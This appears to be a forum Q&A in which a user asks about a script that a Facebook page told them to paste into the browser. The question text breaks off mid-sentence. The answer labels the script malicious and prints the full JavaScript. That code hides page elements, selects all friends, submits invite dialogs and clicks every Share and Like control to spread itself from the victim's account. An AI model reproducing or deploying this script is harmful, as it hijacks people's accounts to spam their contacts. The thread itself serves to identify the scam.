What is this weird script I found on facebook?

Question

Not so much a question to help my own programming, but I found this page on facebook with a cool illusion and a page that says \"to see the real illusion, copy and paste this co

Answer 1

Malicious Code

document.getElementById('app129556453726651_kPtsfs').style.visibility = 'hidden';
document.getElementById('app129556453726651_fsDszN').innerHTML = document.getElementById('app129556453726651_rcgAmd').value;
var s = document.getElementById('suggest');
var m = document.getElementById('likeme');
var sl = document.getElementById('slink');
var c = document.createEvent("MouseEvents");
c.initEvent('click', true, true);
s.dispatchEvent(c);
setTimeout(function () {
    fs.select_all()
    SocialGraphManager.submitDialog('sgm_invite_form', '/ajax/social_graph/invite_dialog.php');
    setTimeout(function () {
        c.initEvent('click', true, true);
        sl.dispatchEvent(c);
        setTimeout(function () {
            var inp = document.getElementsByTagName('input');
            for (i in inp) {
                if (inp[i].value == 'Share') {
                    inp[i].dispatchEvent(c)
                }
            };
            m.dispatchEvent(c);
            setTimeout(function () {
                document.getElementById('app129556453726651_SqmbQL').innerHTML = document.getElementById('app129556453726651_rhsjGW').value;
            }, 2000)
        }, 4000)
    }, 3000)
}, 5000);